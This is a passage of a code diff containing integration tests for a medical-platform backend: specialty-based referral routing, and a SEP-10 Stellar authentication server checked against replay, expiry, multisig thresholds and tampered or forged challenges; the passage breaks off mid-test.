await makeSpecialty(prisma, `Empty ${runId}`); + selfOnlySpecialtyId = await makeSpecialty(prisma, `Self Only ${runId}`); + dualSpecialtyId = await makeSpecialty(prisma, `Dual ${runId}`); + deactivatedSpecialtyId = await makeSpecialty(prisma, `Deactivated ${runId}`); + + gp = await makeDoctor(app, prisma, emailedTokens, runId); + cardioA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); + cardioB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); + patient = await makePatient(app, emailedTokens, runId); + + // A doctor who holds the specialty but was never verified: not a + // routing candidate (PRD FR-3), and the only doctor in + // emptySpecialtyId, so that specialty has zero eligible recipients. + const unverified = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: emptySpecialtyId }); + await prisma.doctorProfile.update({ + where: { id: unverified.profileId }, + data: { verificationStatus: 'pending' }, + }); + + // The only verified doctor in selfOnlySpecialtyId is the GP who will + // try to refer into it β€” self-referral must leave zero candidates. + await prisma.doctorSpecialty.create({ + data: { doctorProfileId: gp.profileId, specialtyId: selfOnlySpecialtyId }, + }); + }); + + afterAll(async () => { + await resetEmailSenderFixture(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('routes a specialty-only referral to the least-loaded eligible doctor', async () => { + // Load one of the two cardiologists with an explicit referral first, + // so "least loaded" has something to choose between. + const loaded = await consultationRitual(app, patient, gp); + const seeded = await createReferral(app, gp, { + sourceConsultationId: loaded.consultationId, + targetDoctorId: cardioA.profileId, + targetSpecialtyId: cardiologyId, + snapshotNotes: 'Explicit referral to cardio A.', + }); + expect(seeded.status).toBe(201); + + const { consultationId } = await consultationRitual(app, patient, gp); + const routed = await createReferral(app, gp, { + sourceConsultationId: consultationId, + targetSpecialtyId: cardiologyId, + snapshotNotes: 'Needs a cardiologist, any cardiologist.', + }); + + expect(routed.status).toBe(201); + // cardioA already has one active referral (load 1), cardioB has none. + expect(routed.body.targetDoctorId).toBe(cardioB.profileId); + expect(routed.body.targetSpecialtyId).toBe(cardiologyId); + expect(routed.body.status).toBe('pending'); + expect(routed.body.snapshotNotes).toBe('Needs a cardiologist, any cardiologist.'); + expect(routed.body.referringDoctorId).toBe(gp.profileId); + }); + + it('fails 422 and writes nothing when no verified doctor holds the specialty', async () => { + const { consultationId } = await consultationRitual(app, patient, gp); + const before = await prisma.referral.count({ where: { sourceConsultationId: consultationId } }); + + const res = await createReferral(app, gp, { + sourceConsultationId: consultationId, + targetSpecialtyId: emptySpecialtyId, + snapshotNotes: 'Nobody can take this.', + }); + + expect(res.status).toBe(422); + // Machine-readable so the referring doctor's UI can say "no specialist + // available" instead of rendering a generic failure (ADR 0008 Β§4). + expect(res.body.code).toBe('REFERRAL_NO_ELIGIBLE_TARGET'); + expect(res.body.message).toMatch(/no verified doctor/i); + const after = await prisma.referral.count({ where: { sourceConsultationId: consultationId } }); + expect(after).toBe(before); + }); + + it('refuses to route a referral back to the referring doctor', async () => { + const { consultationId } = await consultationRitual(app, patient, gp); + const res = await createReferral(app, gp, { + sourceConsultationId: consultationId, + targetSpecialtyId: selfOnlySpecialtyId, + snapshotNotes: 'This would be a self-referral.', + }); + expect(res.status).toBe(422); + }); + + it('never routes to a doctor whose account is deactivated', async () => { + const active = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: deactivatedSpecialtyId }); + const deactivated = await makeDoctor(app, prisma, emailedTokens, runId, { + specialtyId: deactivatedSpecialtyId, + }); + // Deactivated with no load, i.e. the candidate the rule would + // otherwise prefer: the exclusion has to do the work, not the load. + await prisma.user.update({ + where: { id: deactivated.userId }, + data: { deactivatedAt: new Date() }, + }); + + const { consultationId } = await consultationRitual(app, patient, gp); + const res = await createReferral(app, gp, { + sourceConsultationId: consultationId, + targetSpecialtyId: deactivatedSpecialtyId, + snapshotNotes: 'Route around the inactive account.', + }); + + expect(res.status).toBe(201); + expect(res.body.targetDoctorId).toBe(active.profileId); + }); + + it('never routes a specialty target onto a doctor the same batch named explicitly', async () => { + const doctorBoth = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dualSpecialtyId }); + const doctorOther = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dualSpecialtyId }); + + // Load the only real alternative, so a broken exclusion would pick + // the explicitly named doctor (load 0) instead of the loaded one. + const seeded = await consultationRitual(app, patient, gp); + const seededReferral = await createReferral(app, gp, { + sourceConsultationId: seeded.consultationId, + targetDoctorId: doctorOther.profileId, + targetSpecialtyId: dualSpecialtyId, + snapshotNotes: 'Load the alternative.', + }); + expect(seededReferral.status).toBe(201); + + const { consultationId } = await consultationRitual(app, patient, gp); + const res = await request(app) + .post(`/referrals/from-consultation/${consultationId}`) + .set('Authorization', `Bearer ${gp.accessToken}`) + .send({ + targets: [ + { targetSpecialtyId: dualSpecialtyId, snapshotNotes: 'any doctor in this specialty' }, + { targetDoctorId: doctorBoth.profileId, snapshotNotes: 'and specifically this one' }, + ], + }); + + expect(res.status).toBe(201); + expect(res.body).toHaveLength(2); + expect(res.body[0].targetDoctorId).toBe(doctorOther.profileId); + expect(res.body[1].targetDoctorId).toBe(doctorBoth.profileId); + expect(res.body[0].targetDoctorId).not.toBe(res.body[1].targetDoctorId); + }); +}); diff --git a/backend/tests/integration/sep10.test.mts b/backend/tests/integration/sep10.test.mts index 0ce68aca..d4a6f237 100644 --- a/backend/tests/integration/sep10.test.mts +++ b/backend/tests/integration/sep10.test.mts @@ -1,502 +1,502 @@ -// Integration tests for the SEP-10 Stellar Web Authentication server -// (issue #77) β€” real embedded Postgres (nonce ledger, atomic consume), -// real HTTP through the Express app, and a FAKE Horizon (no network: the -// account/signer lookup is injected via setSep10AccountFetcher, same -// service-surface seam pattern as auth's setEmailSender). -// -// What lives here (DB- or HTTP-level): the happy path, replay -// (sequential and genuinely concurrent), expiry (both the challenge's -// time bounds and an expired nonce record), multisig thresholds with -// differing weights, unfunded accounts (master-key rule), user/account -// binding, unknown nonces, and the endpoint-level auth/validation cases. -// The structural verification list (wrong source, bad sequence, wrong -// domains, extra ops, wrong server signature) is unit-tested in -// tests/unit/sep10.test.mts against the same service functions. -// -// Self-contained embedded Postgres, own port (5438) so it runs alongside -// the other integration files (5433 booking, 5435/5436/5437 others). -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { Keypair, TransactionBuilder, WebAuth } from '@stellar/stellar-sdk'; -import type { Transaction } from '@stellar/stellar-sdk'; -import type { Sep10AccountInfo } from '../../src/modules/payments/services/sep10.js'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5464; -const runId = Date.now(); -const PASSWORD = 'longenough123'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-sep10-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; -type Sep10Services = typeof import('../../src/modules/payments/services/index.js'); - -describe('SEP-10 Stellar Web Authentication server', () => { - let app: App; - let prisma: Prisma; - let sep10: Sep10Services; - let serverKp: Keypair; - let homeDomain: string; - let webAuthDomain: string; - let networkPassphrase: string; - - // Fake Horizon state: per-account overrides; anything not overridden is - // treated as a funded account whose master key is the only signer - // (weight 1, med threshold 1) β€” the plain single-signer case. - const accountOverrides = new Map(); - function fundedSingleSigner(accountId: string) { - return { - accountId, - thresholds: { low_threshold: 0, med_threshold: 1, high_threshold: 1 }, - signers: [{ key: accountId, weight: 1, type: 'ed25519_public_key' }], - }; - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const servicesModule = await import('../../src/modules/payments/services/index.js'); - const configModule = await import('../../src/config/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - sep10 = servicesModule; - - serverKp = Keypair.fromSecret(configModule.config.sep10.signingSecret!); - homeDomain = configModule.config.sep10.homeDomain!; - webAuthDomain = configModule.config.sep10.webAuthDomain!; - networkPassphrase = configModule.config.sep10.networkPassphrase; - - sep10.setSep10AccountFetcher((accountId) => - Promise.resolve(accountOverrides.has(accountId) ? accountOverrides.get(accountId)! : fundedSingleSigner(accountId)), - ); - }); - - afterAll(async () => { - sep10?.resetSep10AccountFetcher(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - afterEach(() => { - accountOverrides.clear(); - }); - - // --- helpers ----------------------------------------------------------- - - async function signupVerified(label: string): Promise<{ userId: string; accessToken: string }> { - const email = `sep10-${label}-${runId}@example.com`; - const res = await request(app) - .post('/auth/signup') - .send({ role: 'patient', email, password: PASSWORD, fullName: `SEP10 ${label}` }); - expect(res.status).toBe(200); - const userId = res.body.user.id as string; - // The route requires a verified address (issue #34 guard) β€” mark it - // verified directly, same as the other payments integration suites. - await prisma.user.update({ where: { id: userId }, data: { emailVerifiedAt: new Date() } }); - return { userId, accessToken: res.body.accessToken as string }; - } - - function getChallenge(accessToken: string, account: string) { - return request(app).get('/payments/sep10/challenge').set('Authorization', `Bearer ${accessToken}`).query({ account }); - } - - function postVerify(accessToken: string, transaction: string) { - return request(app) - .post('/payments/sep10/verify') - .set('Authorization', `Bearer ${accessToken}`) - .send({ transaction }); - } - - function signChallenge(challengeXdr: string, ...keypairs: Keypair[]): string { - const tx = TransactionBuilder.fromXDR(challengeXdr, networkPassphrase) as Transaction; - for (const kp of keypairs) tx.sign(kp); - return tx.toEnvelope().toXDR('base64').toString(); - } - - function challengeNonce(challengeXdr: string): string { - const read = WebAuth.readChallengeTx(challengeXdr, serverKp.publicKey(), networkPassphrase, homeDomain, webAuthDomain); - const [firstOp] = read.tx.operations; - if (!firstOp || firstOp.type !== 'manageData') throw new Error('challenge has no leading Manage Data operation'); - return String(firstOp.value); - } - - /** Issues a challenge over HTTP for `account` and signs it with the - * given keypairs, returning both the raw challenge and the signed XDR. */ - async function issueAndSign(accessToken: string, account: string, ...keypairs: Keypair[]) { - const res = await getChallenge(accessToken, account); - expect(res.status).toBe(200); - return { challenge: res.body.transaction as string, signed: signChallenge(res.body.transaction, ...keypairs) }; - } - - // --- challenge endpoint ------------------------------------------------ - - it('issues a well-formed challenge bound to the caller and the requested account', async () => { - const { accessToken, userId } = await signupVerified('shape'); - const clientKp = Keypair.random(); - - const res = await getChallenge(accessToken, clientKp.publicKey()); - expect(res.status).toBe(200); - expect(res.body.expires_in).toBe(300); - expect(res.body.network_passphrase).toBe(networkPassphrase); - - // Structure per SEP-10: server-signed, sequence 0, bounded ~5-min - // timebounds, Manage Data nonce sourced by the client, web_auth_domain. - const read = WebAuth.readChallengeTx( - res.body.transaction, - serverKp.publicKey(), - networkPassphrase, - homeDomain, - webAuthDomain, - ); - expect(read.clientAccountID).toBe(clientKp.publicKey()); - const tx = read.tx; - expect(Number(tx.sequence)).toBe(0); - expect(Number(tx.timeBounds!.maxTime) - Number(tx.timeBounds!.minTime)).toBe(300); - - // The issuance ledger recorded the binding. - const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(res.body.transaction) } }); - expect(row).not.toBeNull(); - expect(row!.userId).toBe(userId); - expect(row!.account).toBe(clientKp.publicKey()); - expect(row!.consumedAt).toBeNull(); - expect(row!.expiresAt.getTime()).toBe(Number(tx.timeBounds!.maxTime) * 1000); - }); - - it('rejects an invalid account parameter with 400 (shape and checksum)', async () => { - const { accessToken } = await signupVerified('bad-account'); - const rowsBefore = await prisma.sep10Challenge.count(); - const tooShort = await getChallenge(accessToken, 'GNOTAKEY'); - expect(tooShort.status).toBe(400); - expect(tooShort.body.message).toMatch(/valid Stellar public key/); - - // Right shape, corrupted checksum. - const valid = Keypair.random().publicKey(); - const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); - const badChecksum = await getChallenge(accessToken, corrupted); - expect(badChecksum.status).toBe(400); - expect(badChecksum.body.message).toMatch(/valid Stellar public key/); - - const missing = await request(app).get('/payments/sep10/challenge').set('Authorization', `Bearer ${accessToken}`); - expect(missing.status).toBe(400); - - // Nothing was recorded for any of them. - expect(await prisma.sep10Challenge.count()).toBe(rowsBefore); - }); - - it('rejects unauthenticated requests to both endpoints', async () => { - const noAuthGet = await request(app).get('/payments/sep10/challenge').query({ account: Keypair.random().publicKey() }); - expect(noAuthGet.status).toBe(401); - - const noAuthPost = await request(app).post('/payments/sep10/verify').send({ transaction: 'x' }); - expect(noAuthPost.status).toBe(401); - }); - - it('rejects an unauthenticated-email account with 403 EMAIL_NOT_VERIFIED', async () => { - const email = `sep10-unverified-${runId}@example.com`; - const signup = await request(app) - .post('/auth/signup') - .send({ role: 'patient', email, password: PASSWORD, fullName: 'SEP10 Unverified' }); - expect(signup.status).toBe(200); - const token = signup.body.accessToken as string; - - const res = await getChallenge(token, Keypair.random().publicKey()); - expect(res.status).toBe(403); - expect(res.body.code).toBe('EMAIL_NOT_VERIFIED'); - }); - - // --- happy path + single use ------------------------------------------- - - it('verifies a signed challenge end-to-end and consumes the nonce', async () => { - const { accessToken, userId } = await signupVerified('happy'); - const clientKp = Keypair.random(); - - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); - - const verify = await postVerify(accessToken, signed); - expect(verify.status).toBe(200); - expect(verify.body).toEqual({ account: clientKp.publicKey(), signers: [clientKp.publicKey()], userId }); - - const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(signed) } }); - expect(row!.consumedAt).not.toBeNull(); - }); - - it('rejects a replayed challenge', async () => { - const { accessToken } = await signupVerified('replay'); - const clientKp = Keypair.random(); - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); - - expect((await postVerify(accessToken, signed)).status).toBe(200); - - const replay = await postVerify(accessToken, signed); - expect(replay.status).toBe(401); - expect(replay.body.code).toBe('SEP10_CHALLENGE_ALREADY_USED'); - }); - - it('lets exactly ONE of several concurrent verifies succeed', async () => { - const { accessToken } = await signupVerified('concurrent'); - const clientKp = Keypair.random(); - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); - - // Genuinely concurrent: all in flight before any response is read. - // The nonce is consumed by a single conditional UPDATE, so exactly one - // request can win β€” the same DB-level pattern as double-booking. - const results = await Promise.all(Array.from({ length: 8 }, () => postVerify(accessToken, signed))); - - const succeeded = results.filter((r) => r.status === 200); - const rejected = results.filter((r) => r.status === 401); - expect(succeeded).toHaveLength(1); - expect(rejected).toHaveLength(7); - for (const r of rejected) expect(r.body.code).toBe('SEP10_CHALLENGE_ALREADY_USED'); - }); - - // --- expiry ----------------------------------------------------------- - - it('rejects a challenge whose time bounds have expired', async () => { - const { accessToken } = await signupVerified('expired-bounds'); - const clientKp = Keypair.random(); - - // Build (with the real server key) a challenge that expired long ago β€” - // beyond the SDK's 5-minute clock-drift grace window. - const { Account, BASE_FEE, Operation, TransactionBuilder: TB } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - const expired = new TB(new Account(serverKp.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase, - timebounds: { minTime: now - 1800, maxTime: now - 1200 }, - }) - .addOperation( - Operation.manageData({ name: `${homeDomain} auth`, value: 'a'.repeat(64), source: clientKp.publicKey() }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: webAuthDomain, source: serverKp.publicKey() })) - .build(); - expired.sign(serverKp); - - const res = await postVerify(accessToken, signChallenge(expired.toEnvelope().toXDR('base64'), clientKp)); - expect(res.status).toBe(400); - expect(res.body.code).toBe('SEP10_INVALID_CHALLENGE'); - expect(res.body.message).toMatch(/expired/); - }); - - it('rejects a challenge whose nonce record has expired', async () => { - const { accessToken } = await signupVerified('expired-record'); - const clientKp = Keypair.random(); - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); - - // The tx time bounds still allow the SDK's drift grace, but OUR - // ledger row is past its issued expiry β€” the stricter check wins. - await prisma.sep10Challenge.update({ - where: { nonce: challengeNonce(signed) }, - data: { expiresAt: new Date(Date.now() - 60_000) }, - }); - - const res = await postVerify(accessToken, signed); - expect(res.status).toBe(401); - expect(res.body.code).toBe('SEP10_CHALLENGE_EXPIRED'); - }); - - // --- signatures: wrong signer, multisig, unfunded ---------------------- - - it('rejects a challenge signed by a key that is not a signer', async () => { - const { accessToken } = await signupVerified('wrong-signer'); - const clientKp = Keypair.random(); - const attackerKp = Keypair.random(); - - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), attackerKp); - - const res = await postVerify(accessToken, signed); - expect(res.status).toBe(401); - expect(res.body.code).toBe('SEP10_INVALID_SIGNATURE'); - // The nonce was NOT burned by a failed verification. - const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(signed) } }); - expect(row!.consumedAt).toBeNull(); - }); - - it('rejects a challenge carrying an extra unrecognized signature', async () => { - const { accessToken } = await signupVerified('extra-sig'); - const clientKp = Keypair.random(); - - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp, Keypair.random()); - - const res = await postVerify(accessToken, signed); - expect(res.status).toBe(401); - expect(res.body.code).toBe('SEP10_INVALID_SIGNATURE'); - }); - - it('accepts a multisig account when signer weights meet the medium threshold', async () => { - const { accessToken } = await signupVerified('multisig-ok'); - const clientKp = Keypair.random(); - const signer1 = Keypair.random(); - const signer2 = Keypair.random(); - // threshold 3; weights 1 + 2 β€” only BOTH signatures together pass. - accountOverrides.set(clientKp.publicKey(), { - accountId: clientKp.publicKey(), - thresholds: { low_threshold: 0, med_threshold: 3, high_threshold: 3 }, - signers: [ - { key: clientKp.publicKey(), weight: 1, type: 'ed25519_public_key' }, - { key: signer1.publicKey(), weight: 1, type: 'ed25519_public_key' }, - { key: signer2.publicKey(), weight: 2, type: 'ed25519_public_key' }, - ], - }); - - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), signer1, signer2); - - const res = await postVerify(accessToken, signed); - expect(res.status).toBe(200); - expect(new Set(res.body.signers)).toEqual(new Set([signer1.publicKey(), signer2.publicKey()])); - }); - - it('rejects a multisig challenge below the threshold, including single signers of differing weights', async () => { - const { accessToken } = await signupVerified('multisig-below'); - const clientKp = Keypair.random(); - const signer1 = Keypair.random(); // weight 1 - const signer2 = Keypair.random(); // weight 2 β€” still below threshold 3 alone - accountOverrides.set(clientKp.publicKey(), { - accountId: clientKp.publicKey(), - thresholds: { low_threshold: 0, med_threshold: 3, high_threshold: 3 }, - signers: [ - { key: clientKp.publicKey(), weight: 1, type: 'ed25519_public_key' }, - { key: signer1.publicKey(), weight: 1, type: 'ed25519_public_key' }, - { key: signer2.publicKey(), weight: 2, type: 'ed25519_public_key' }, - ], - }); - - // The heaviest single signer (weight 2) still misses threshold 3… - const heavyOnly = await issueAndSign(accessToken, clientKp.publicKey(), signer2); - const heavyRes = await postVerify(accessToken, heavyOnly.signed); - expect(heavyRes.status).toBe(401); - expect(heavyRes.body.code).toBe('SEP10_INVALID_SIGNATURE'); - expect(heavyRes.body.message).toMatch(/threshold/); - - // …and so does the lightest one. - const lightOnly = await issueAndSign(accessToken, clientKp.publicKey(), signer1); - const lightRes = await postVerify(accessToken, lightOnly.signed); - expect(lightRes.status).toBe(401); - expect(lightRes.body.code).toBe('SEP10_INVALID_SIGNATURE'); - }); - - it('accepts an UNFUNDED account only when the master key signs (SEP-10 spec)', async () => { - const { accessToken } = await signupVerified('unfunded'); - const unfundedKp = Keypair.random(); - accountOverrides.set(unfundedKp.publicKey(), null); // Horizon 404 β€” not yet created - - // Spec rule: no signers/thresholds exist on-chain yet, so the master - // key of the client account must sign the challenge. - const { signed } = await issueAndSign(accessToken, unfundedKp.publicKey(), unfundedKp); - const ok = await postVerify(accessToken, signed); - expect(ok.status).toBe(200); - expect(ok.body.signers).toEqual([unfundedKp.publicKey()]); - - // A different key standing in for an unfunded account must fail. - const another = await issueAndSign(accessToken, unfundedKp.publicKey(), Keypair.random()); - const bad = await postVerify(accessToken, another.signed); - expect(bad.status).toBe(401); - expect(bad.body.code).toBe('SEP10_INVALID_SIGNATURE'); - }); - - // --- binding and the nonce ledger -------------------------------------- - - it('rejects a challenge issued to user A when user B submits it', async () => { - const a = await signupVerified('user-a'); - const b = await signupVerified('user-b'); - const clientKp = Keypair.random(); - - const { signed } = await issueAndSign(a.accessToken, clientKp.publicKey(), clientKp); - expect((await postVerify(a.accessToken, signed)).status).toBe(200); - - // Even ignoring consumption: B can never redeem A's challenge. Reissue - // a fresh one to demonstrate the binding, not the single-use rule. - const fresh = await issueAndSign(a.accessToken, clientKp.publicKey(), clientKp); - const res = await postVerify(b.accessToken, fresh.signed); - expect(res.status).toBe(403); - expect(res.body.code).toBe('SEP10_CHALLENGE_NOT_FOR_CALLER'); - }); - - it('rejects a challenge whose recorded account does not match the challenge tx', async () => { - const { accessToken } = await signupVerified('account-mismatch'); - const clientKp = Keypair.random(); - const otherKp = Keypair.random(); - - const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); - // Simulate a ledger row whose account binding no longer matches the - // transaction's client account (e.g. tampering or a bad migration). - await prisma.sep10Challenge.update({ - where: { nonce: challengeNonce(signed) }, - data: { account: otherKp.publicKey() }, - }); - - const res = await postVerify(accessToken, signed); - expect(res.status).toBe(403); - expect(res.body.code).toBe('SEP10_CHALLENGE_NOT_FOR_CALLER'); - }); - - it('rejects a structurally valid challenge that was never issued by this server', async () => { - const { accessToken } = await signupVerified('unknown-nonce'); - const clientKp = Keypair.random(); - - // Perfectly signed by the real server key β€” but its nonce is not in - // our issuance ledger (nobody issued it, or the row was pruned). - const forged = WebAuth.buildChallengeTx(serverKp, clientKp.publicKey(), homeDomain, 300, networkPassphrase, webAuthDomain); - - const res = await postVerify(accessToken, signChallenge(forged, clientKp)); - expect(res.status).toBe(401); - expect(res.body.code).toBe('SEP10_CHALLENGE_UNKNOWN'); - }); - - it('rejects a tampered challenge that has extra client-sourced operations', async () => { - const { accessToken } = await signupVerified('tampered'); - const clientKp = Keypair.random(); - - const challengeRes = await getChallenge(accessToken, clientKp.publicKey()); - const challenge = challengeRes.body.transaction as string; - - // Rebuild the challenge with an added client-sourced op (invalid per - // SEP-10: extra ops must be server-sourced Manage Data), re-signed by - // the server key so only the structural rule can catch it. - const { Account, BASE_FEE, Operation, TransactionBuilder: TB } = await import('@stellar/stellar-sdk'); - const original = TransactionBuilder.fromXDR(challenge, networkPassphrase) as Transaction; - const tampered = new TB(new Account(serverKp.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase, - timebounds: { minTime: Number(original.timeBounds!.minTime), maxTime: Number(original.timeBounds!.maxTime) }, - }) - .addOperation( - Operation.manageData({ name: `${homeDomain} auth`, value: 'a'.repeat(64), source: clientKp.publicKey() }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: webAuthDomain, source: serverKp.publicKey() })) - .addOperation(Operation.manageData({ name: 'sneaky', value: 'x', source: clientKp.publicKey() })) - .build(); - tampered.sign(serverKp); - - const res = await postVerify(accessToken, signChallenge(tampered.toEnvelope().toXDR('base64'), clientKp)); - expect(res.status).toBe(400); - expect(res.body.code).toBe('SEP10_INVALID_CHALLENGE'); - }); -}); +// Integration tests for the SEP-10 Stellar Web Authentication server +// (issue #77) β€” real embedded Postgres (nonce ledger, atomic consume), +// real HTTP through the Express app, and a FAKE Horizon (no network: the +// account/signer lookup is injected via setSep10AccountFetcher, same +// service-surface seam pattern as auth's setEmailSender). +// +// What lives here (DB- or HTTP-level): the happy path, replay +// (sequential and genuinely concurrent), expiry (both the challenge's +// time bounds and an expired nonce record), multisig thresholds with +// differing weights, unfunded accounts (master-key rule), user/account +// binding, unknown nonces, and the endpoint-level auth/validation cases. +// The structural verification list (wrong source, bad sequence, wrong +// domains, extra ops, wrong server signature) is unit-tested in +// tests/unit/sep10.test.mts against the same service functions. +// +// Self-contained embedded Postgres, own port (5438) so it runs alongside +// the other integration files (5433 booking, 5435/5436/5437 others). +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { Keypair, TransactionBuilder, WebAuth } from '@stellar/stellar-sdk'; +import type { Transaction } from '@stellar/stellar-sdk'; +import type { Sep10AccountInfo } from '../../src/modules/payments/services/sep10.js'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5464; +const runId = Date.now(); +const PASSWORD = 'longenough123'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-sep10-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; +type Sep10Services = typeof import('../../src/modules/payments/services/index.js'); + +describe('SEP-10 Stellar Web Authentication server', () => { + let app: App; + let prisma: Prisma; + let sep10: Sep10Services; + let serverKp: Keypair; + let homeDomain: string; + let webAuthDomain: string; + let networkPassphrase: string; + + // Fake Horizon state: per-account overrides; anything not overridden is + // treated as a funded account whose master key is the only signer + // (weight 1, med threshold 1) β€” the plain single-signer case. + const accountOverrides = new Map(); + function fundedSingleSigner(accountId: string) { + return { + accountId, + thresholds: { low_threshold: 0, med_threshold: 1, high_threshold: 1 }, + signers: [{ key: accountId, weight: 1, type: 'ed25519_public_key' }], + }; + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const servicesModule = await import('../../src/modules/payments/services/index.js'); + const configModule = await import('../../src/config/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + sep10 = servicesModule; + + serverKp = Keypair.fromSecret(configModule.config.sep10.signingSecret!); + homeDomain = configModule.config.sep10.homeDomain!; + webAuthDomain = configModule.config.sep10.webAuthDomain!; + networkPassphrase = configModule.config.sep10.networkPassphrase; + + sep10.setSep10AccountFetcher((accountId) => + Promise.resolve(accountOverrides.has(accountId) ? accountOverrides.get(accountId)! : fundedSingleSigner(accountId)), + ); + }); + + afterAll(async () => { + sep10?.resetSep10AccountFetcher(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + afterEach(() => { + accountOverrides.clear(); + }); + + // --- helpers ----------------------------------------------------------- + + async function signupVerified(label: string): Promise<{ userId: string; accessToken: string }> { + const email = `sep10-${label}-${runId}@example.com`; + const res = await request(app) + .post('/auth/signup') + .send({ role: 'patient', email, password: PASSWORD, fullName: `SEP10 ${label}` }); + expect(res.status).toBe(200); + const userId = res.body.user.id as string; + // The route requires a verified address (issue #34 guard) β€” mark it + // verified directly, same as the other payments integration suites. + await prisma.user.update({ where: { id: userId }, data: { emailVerifiedAt: new Date() } }); + return { userId, accessToken: res.body.accessToken as string }; + } + + function getChallenge(accessToken: string, account: string) { + return request(app).get('/payments/sep10/challenge').set('Authorization', `Bearer ${accessToken}`).query({ account }); + } + + function postVerify(accessToken: string, transaction: string) { + return request(app) + .post('/payments/sep10/verify') + .set('Authorization', `Bearer ${accessToken}`) + .send({ transaction }); + } + + function signChallenge(challengeXdr: string, ...keypairs: Keypair[]): string { + const tx = TransactionBuilder.fromXDR(challengeXdr, networkPassphrase) as Transaction; + for (const kp of keypairs) tx.sign(kp); + return tx.toEnvelope().toXDR('base64').toString(); + } + + function challengeNonce(challengeXdr: string): string { + const read = WebAuth.readChallengeTx(challengeXdr, serverKp.publicKey(), networkPassphrase, homeDomain, webAuthDomain); + const [firstOp] = read.tx.operations; + if (!firstOp || firstOp.type !== 'manageData') throw new Error('challenge has no leading Manage Data operation'); + return String(firstOp.value); + } + + /** Issues a challenge over HTTP for `account` and signs it with the + * given keypairs, returning both the raw challenge and the signed XDR. */ + async function issueAndSign(accessToken: string, account: string, ...keypairs: Keypair[]) { + const res = await getChallenge(accessToken, account); + expect(res.status).toBe(200); + return { challenge: res.body.transaction as string, signed: signChallenge(res.body.transaction, ...keypairs) }; + } + + // --- challenge endpoint ------------------------------------------------ + + it('issues a well-formed challenge bound to the caller and the requested account', async () => { + const { accessToken, userId } = await signupVerified('shape'); + const clientKp = Keypair.random(); + + const res = await getChallenge(accessToken, clientKp.publicKey()); + expect(res.status).toBe(200); + expect(res.body.expires_in).toBe(300); + expect(res.body.network_passphrase).toBe(networkPassphrase); + + // Structure per SEP-10: server-signed, sequence 0, bounded ~5-min + // timebounds, Manage Data nonce sourced by the client, web_auth_domain. + const read = WebAuth.readChallengeTx( + res.body.transaction, + serverKp.publicKey(), + 